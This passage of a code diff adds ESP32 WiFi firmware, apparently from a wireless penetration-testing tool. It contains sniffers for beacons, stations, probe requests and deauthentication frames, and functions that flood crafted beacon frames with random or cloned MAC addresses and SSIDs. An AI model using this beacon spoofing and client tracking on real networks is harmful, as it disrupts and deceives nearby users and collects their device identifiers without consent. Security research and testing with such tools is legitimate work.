+          String json_output;
+          //json.printTo(json_output); // ArduinoJson v5
+          serializeJson(json, json_output); // ArduinoJson v6
+          Serial.println(json_output);
+          display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
+        }
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+        
+  
+        
+        Serial.println();
+
+        if (save_packet)
+          sd_obj.addPacket(snifferPacket->payload, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  String bssid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+
+      bool in_list = false;
+      bool mac_match = true;
+
+      for (int i = 0; i < access_points->size(); i++) {
+        mac_match = true;
+        //Serial.print("Checking ");
+        //Serial.print(addr);
+        //Serial.println(" against " + (String)access_points->get(i).essid);
+
+        
+        for (int x = 0; x < 6; x++) {
+          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+            mac_match = false;
+            //Serial.println("MACs do not match");
+            break;
+          }
+        }
+        if (mac_match) {
+          in_list = true;
+          break;
+        }
+      }
+
+      if (!in_list) {
+      
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
+          essid.concat((char)snifferPacket->payload[i + 38]);
+
+          
+        }
+
+        bssid.concat(addr);
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+        
+        if (essid == "") {
+          essid = bssid;
+          Serial.print(essid + " ");
+        }
+
+        //LinkedList<char> beacon = new LinkedList<char>();
+        
+        /*AccessPoint ap = {essid,
+                          snifferPacket->rx_ctrl.channel,
+                          {snifferPacket->payload[10],
+                           snifferPacket->payload[11],
+                           snifferPacket->payload[12],
+                           snifferPacket->payload[13],
+                           snifferPacket->payload[14],
+                           snifferPacket->payload[15]},
+                          false,
+                          NULL};*/
+
+        AccessPoint ap;
+        ap.essid = essid;
+        ap.channel = snifferPacket->rx_ctrl.channel;
+        ap.bssid[0] = snifferPacket->payload[10];
+        ap.bssid[1] = snifferPacket->payload[11];
+        ap.bssid[2] = snifferPacket->payload[12];
+        ap.bssid[3] = snifferPacket->payload[13];
+        ap.bssid[4] = snifferPacket->payload[14];
+        ap.bssid[5] = snifferPacket->payload[15];
+        ap.selected = false;
+        ap.stations = new LinkedList<int>();
+        
+        ap.beacon = new LinkedList<char>();
+
+        //for (int i = 0; i < len; i++) {
+        //  ap.beacon->add(snifferPacket->payload[i]);
+        //}
+        ap.beacon->add(snifferPacket->payload[34]);
+        ap.beacon->add(snifferPacket->payload[35]);
+
+        Serial.print("\nBeacon: ");
+
+        for (int i = 0; i < ap.beacon->size(); i++) {
+          char hexCar[4];
+          sprintf(hexCar, "%02X", ap.beacon->get(i));
+          Serial.print(hexCar);
+          if ((i + 1) % 16 == 0)
+            Serial.print("\n");
+          else
+            Serial.print(" ");
+        }
+
+        ap.rssi = snifferPacket->rx_ctrl.rssi;
+
+        access_points->add(ap);
+
+        Serial.print(access_points->size());
+
+        Serial.println();
+
+        if (save_packet)
+          sd_obj.addPacket(snifferPacket->payload, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  String bssid = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+
+      bool in_list = false;
+      bool mac_match = true;
+
+      for (int i = 0; i < access_points->size(); i++) {
+        mac_match = true;
+        //Serial.print("Checking ");
+        //Serial.print(addr);
+        //Serial.println(" against " + (String)access_points->get(i).essid);
+
+        
+        for (int x = 0; x < 6; x++) {
+          //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+          if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+            mac_match = false;
+            //Serial.println("MACs do not match");
+            break;
+          }
+        }
+        if (mac_match) {
+          in_list = true;
+          break;
+        }
+      }
+
+      if (!in_list) {
+      
+        delay(random(0, 10));
+        Serial.print("RSSI: ");
+        Serial.print(snifferPacket->rx_ctrl.rssi);
+        Serial.print(" Ch: ");
+        Serial.print(snifferPacket->rx_ctrl.channel);
+        Serial.print(" BSSID: ");
+        Serial.print(addr);
+        display_string.concat(addr);
+        Serial.print(" ESSID: ");
+        display_string.concat(" -> ");
+        for (int i = 0; i < snifferPacket->payload[37]; i++)
+        {
+          Serial.print((char)snifferPacket->payload[i + 38]);
+          display_string.concat((char)snifferPacket->payload[i + 38]);
+          essid.concat((char)snifferPacket->payload[i + 38]);
+
+          
+        }
+
+        bssid.concat(addr);
+  
+        int temp_len = display_string.length();
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+
+        #ifdef HAS_SCREEN
+          if (display_obj.display_buffer->size() == 0)
+          {
+            display_obj.loading = true;
+            display_obj.display_buffer->add(display_string);
+            display_obj.loading = false;
+          }
+        #endif
+        
+        if (essid == "") {
+          essid = bssid;
+          Serial.print(essid + " ");
+        }
+        
+        AccessPoint ap = {essid,
+                          snifferPacket->rx_ctrl.channel,
+                          {snifferPacket->payload[10],
+                           snifferPacket->payload[11],
+                           snifferPacket->payload[12],
+                           snifferPacket->payload[13],
+                           snifferPacket->payload[14],
+                           snifferPacket->payload[15]},
+                          false,
+                          NULL,
+                          snifferPacket->rx_ctrl.rssi,
+                          new LinkedList<int>()};
+
+        access_points->add(ap);
+
+        Serial.print(access_points->size());
+
+        Serial.println();
+
+        if (save_packet)
+          sd_obj.addPacket(snifferPacket->payload, len);
+      }
+    }
+  }
+}
+
+void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+    {
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" BSSID: ");
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      Serial.print(addr);
+      display_string.concat(addr);
+      Serial.print(" ESSID: ");
+      display_string.concat(" -> ");
+      for (int i = 0; i < snifferPacket->payload[37]; i++)
+      {
+        Serial.print((char)snifferPacket->payload[i + 38]);
+        display_string.concat((char)snifferPacket->payload[i + 38]);
+      }
+
+      int temp_len = display_string.length();
+
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 40 - temp_len; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+
+      
+      Serial.println();
+
+      if (save_packet)
+        sd_obj.addPacket(snifferPacket->payload, len);
+    }
+  }
+}
+
+void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String mac = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  char ap_addr[] = "00:00:00:00:00:00";
+  char dst_addr[] = "00:00:00:00:00:00";
+
+  int ap_index = 0;
+
+  // Check if frame has ap in list of APs and determine position
+  uint8_t frame_offset = 0;
+  int offsets[2] = {10, 4};
+  bool matched_ap = false;
+  bool ap_is_src = false;
+
+  bool mac_match = true;
+
+  for (int y = 0; y < 2; y++) {
+    for (int i = 0; i < access_points->size(); i++) {
+      mac_match = true;
+      
+      for (int x = 0; x < 6; x++) {
+        //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+        if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) {
+          mac_match = false;
+          break;
+        }
+      }
+      if (mac_match) {
+        matched_ap = true;
+        if (offsets[y] == 10)
+          ap_is_src = true;
+        ap_index = i;
+        getMAC(ap_addr, snifferPacket->payload, offsets[y]);
+        break;
+      }
+    }
+    if (matched_ap)
+      break;
+  }
+
+  // If did not find ap from list in frame, drop frame
+  if (!matched_ap)
+    return;
+  else {
+    if (ap_is_src)
+      frame_offset = 4;
+    else
+      frame_offset = 10;
+  }
+  /*  Stuff to care about now
+   *  ap_is_src
+   *  ap_index
+   */
+  
+
+  // Check if we already have this station
+  bool in_list = false;
+  for (int i = 0; i < stations->size(); i++) {
+    mac_match = true;
+    
+    for (int x = 0; x < 6; x++) {
+      //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+      if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) {
+        mac_match = false;
+        //Serial.println("MACs do not match");
+        break;
+      }
+    }
+    if (mac_match) {
+      in_list = true;
+      break;
+    }
+  }
+
+  getMAC(dst_addr, snifferPacket->payload, 4);
+
+  // Check if dest is broadcast
+  if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0))
+    return;
+  
+  // Add to list of stations
+  Station sta = {
+                {snifferPacket->payload[frame_offset],
+                 snifferPacket->payload[frame_offset + 1],
+                 snifferPacket->payload[frame_offset + 2],
+                 snifferPacket->payload[frame_offset + 3],
+                 snifferPacket->payload[frame_offset + 4],
+                 snifferPacket->payload[frame_offset + 5]},
+                false};
+
+  stations->add(sta);
+
+  // Print findings to serial
+  Serial.print((String)stations->size() + ": ");
+  
+  char sta_addr[] = "00:00:00:00:00:00";
+  
+  if (ap_is_src) {
+    Serial.print("ap: ");
+    Serial.print(ap_addr);
+    Serial.print(" -> sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 4);
+    Serial.println(sta_addr);
+  }
+  else {
+    Serial.print("sta: ");
+    getMAC(sta_addr, snifferPacket->payload, 10);
+    Serial.print(sta_addr);
+    Serial.print(" -> ap: ");
+    Serial.println(ap_addr);
+  }
+  display_string.concat(sta_addr);
+  display_string.concat(" -> ");
+  display_string.concat(access_points->get(ap_index).essid);
+
+  int temp_len = display_string.length();
+
+  #ifdef HAS_SCREEN
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+
+    Serial.print(" ");
+
+    if (display_obj.display_buffer->size() == 0)
+    {
+      display_obj.loading = true;
+      display_obj.display_buffer->add(display_string);
+      display_obj.loading = false;
+    }
+  #endif
+
+  // Add station index to AP in list
+  //access_points->get(ap_index).stations->add(stations->size() - 1);
+
+  AccessPoint ap = access_points->get(ap_index);
+  ap.stations->add(stations->size() - 1);
+
+  access_points->set(ap_index, ap);
+
+  if (save_packet)
+    sd_obj.addPacket(snifferPacket->payload, len);
+}
+
+void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+  }
+
+  Serial.print("RSSI: ");
+  Serial.print(snifferPacket->rx_ctrl.rssi);
+  Serial.print(" Ch: ");
+  Serial.print(snifferPacket->rx_ctrl.channel);
+  Serial.print(" BSSID: ");
+  char addr[] = "00:00:00:00:00:00";
+  getMAC(addr, snifferPacket->payload, 10);
+  Serial.print(addr);
+  display_string.concat(text_table4[0]);
+  display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+  display_string.concat(" ");
+  display_string.concat(addr);
+
+  int temp_len = display_string.length();
+
+  #ifdef HAS_SCREEN
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+
+    Serial.print(" ");
+
+    if (display_obj.display_buffer->size() == 0)
+    {
+      display_obj.loading = true;
+      display_obj.display_buffer->add(display_string);
+      display_obj.loading = false;
+    }
+  #endif
+  
+
+  
+  Serial.println();
+
+  if (save_packet)
+    sd_obj.addPacket(snifferPacket->payload, len);
+}
+
+void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
+    {
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" BSSID: ");
+      char addr[] = "00:00:00:00:00:00";
+      char dst_addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      getMAC(dst_addr, snifferPacket->payload, 4);
+      Serial.print(addr);
+      Serial.print(" -> ");
+      Serial.print(dst_addr);
+      display_string.concat(text_table4[0]);
+      display_string.concat(snifferPacket->rx_ctrl.rssi);
+
+      display_string.concat(" ");
+      display_string.concat(addr);
+
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        Serial.print(" ");
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();
+
+      if (save_packet)
+        sd_obj.addPacket(snifferPacket->payload, len);
+    }
+  }
+}
+
+void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+    {
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" Client: ");
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      Serial.print(addr);
+      display_string.concat(addr);
+      Serial.print(" Requesting: ");
+      display_string.concat(" -> ");
+      for (int i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        Serial.print((char)snifferPacket->payload[26 + i]);
+        display_string.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      // Print spaces because of the rotating lines of the hardware scroll.
+      // The same characters print from previous lines so I just overwrite them
+      // with spaces.
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          //while (display_obj.printing)
+          //  delay(1);
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();    
+
+      if (save_packet)
+        sd_obj.addPacket(snifferPacket->payload, len);
+    }
+  }
+}
+
+void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  
+  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+  int len = snifferPacket->rx_ctrl.sig_len;
+
+  String display_string = "";
+  String essid = "";
+  bool found = false;
+
+  if (type == WIFI_PKT_MGMT)
+  {
+    len -= 4;
+    int fctl = ntohs(frameControl->fctl);
+    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+    const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+
+    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+    #ifdef HAS_SCREEN
+      int buf = display_obj.display_buffer->size();
+    #else
+      int buf = 0;
+    #endif
+    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
+    {
+
+      for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        essid.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      for (int i = 0; i < ssids->size(); i++) {
+        if (ssids->get(i).essid == essid) {
+          Serial.println("Found a sheep");
+          found = true;
+          break;
+        }
+      }
+
+      if (!found)
+        return;
+      
+      delay(random(0, 10));
+      Serial.print("RSSI: ");
+      Serial.print(snifferPacket->rx_ctrl.rssi);
+      Serial.print(" Ch: ");
+      Serial.print(snifferPacket->rx_ctrl.channel);
+      Serial.print(" Client: ");
+      char addr[] = "00:00:00:00:00:00";
+      getMAC(addr, snifferPacket->payload, 10);
+      Serial.print(addr);
+      display_string.concat(addr);
+      Serial.print(" Requesting: ");
+      display_string.concat(" -> ");
+
+      // ESSID
+      for (int i = 0; i < snifferPacket->payload[25]; i++)
+      {
+        Serial.print((char)snifferPacket->payload[26 + i]);
+        display_string.concat((char)snifferPacket->payload[26 + i]);
+      }
+
+      // Print spaces because of the rotating lines of the hardware scroll.
+      // The same characters print from previous lines so I just overwrite them
+      // with spaces.
+      #ifdef HAS_SCREEN
+        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
+        {
+          display_string.concat(" ");
+        }
+  
+        if (display_obj.display_buffer->size() == 0)
+        {
+          display_obj.loading = true;
+          display_obj.display_buffer->add(display_string);
+          display_obj.loading = false;
+        }
+      #endif
+      
+      Serial.println();    
+
+      if (save_packet)
+        sd_obj.addPacket(snifferPacket->payload, len);
+    }
+  }
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  if (custom_ssid.beacon->size() == 0)
+    return;
+
+
+  // Randomize SRC MAC
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  char ESSID[custom_ssid.essid.length() + 1] = {};
+  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+  int realLen = strlen(ESSID);
+  int ssidLen = random(realLen, 33);
+  int numSpace = ssidLen - realLen;
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < realLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  for(int i = 0; i < numSpace; i++)
+    packet[38 + realLen + i] = 0x20;
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  //for(int i = 0; i < 12; i++) 
+  //  packet[38 + fullLen + i] = postSSID[i];
+
+  packet[34] = custom_ssid.beacon->get(0);
+  packet[35] = custom_ssid.beacon->get(1);
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = custom_ssid.bssid[0];
+  packet[11] = packet[17] = custom_ssid.bssid[1];
+  packet[12] = packet[18] = custom_ssid.bssid[2];
+  packet[13] = packet[19] = custom_ssid.bssid[3];
+  packet[14] = packet[20] = custom_ssid.bssid[4];
+  packet[15] = packet[21] = custom_ssid.bssid[5];
+
+  char ESSID[custom_ssid.essid.length() + 1] = {};
+  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
+
+  int ssidLen = strlen(ESSID);
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < ssidLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + fullLen + i] = postSSID[i];
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+}
+
+// Function to send beacons with random ESSID length
+void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
+  packet[15] = packet[21] = random(256);
+
+  int ssidLen = strlen(ESSID);
+  //int rand_len = sizeof(rand_reg);
+  int fullLen = ssidLen;
+  packet[37] = fullLen;
+
+  // Insert my tag
+  for(int i = 0; i < ssidLen; i++)
+    packet[38 + i] = ESSID[i];
+
+  /////////////////////////////
+  
+  packet[50 + fullLen] = set_channel;
+
+  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
+                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
+
+
+
+  // Add everything that goes after the SSID
+  for(int i = 0; i < 12; i++) 
+    packet[38 + fullLen + i] = postSSID[i];
+  
+
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
+
+  packets_sent = packets_sent + 3;
+  
+}
+
+// Function for sending crafted beacon frames
+void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
+
+  set_channel = random(1,12); 
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);  
+
+  // Randomize SRC MAC
+  packet[10] = packet[16] = random(256);
+  packet[11] = packet[17] = random(256);
+  packet[12] = packet[18] = random(256);
+  packet[13] = packet[19] = random(256);
+  packet[14] = packet[20] = random(256);
